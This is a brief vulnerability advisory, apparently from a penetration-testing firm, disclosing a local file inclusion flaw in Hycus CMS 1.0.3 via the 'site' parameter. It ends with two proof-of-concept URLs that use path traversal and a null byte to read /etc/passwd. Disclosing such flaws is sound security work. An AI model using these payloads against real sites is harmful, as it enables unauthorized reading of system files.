LFI in Hycus CMS

Vulnerability ID: HTB22737
Reference: http://www.htbridge.ch/advisory/lfi_in_hycus_cms.html
Product: Hycus CMS
Vendor: Hycus Web Development Team ( http://www.hycus.com/ )
Vulnerable Version: 1.0.3
Vendor Notification: 07 December 2010
Vulnerability Type: LFI
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" and "admin.php" scripts to properly sanitize user-supplied input in "site" variable.

The following PoC is available:

http://[host]/index.php?site=…/…/…/…/…/…/…/etc/passwd%00
http://[host]/admin.php?site=…/…/…/…/…/…/…/etc/passwd%00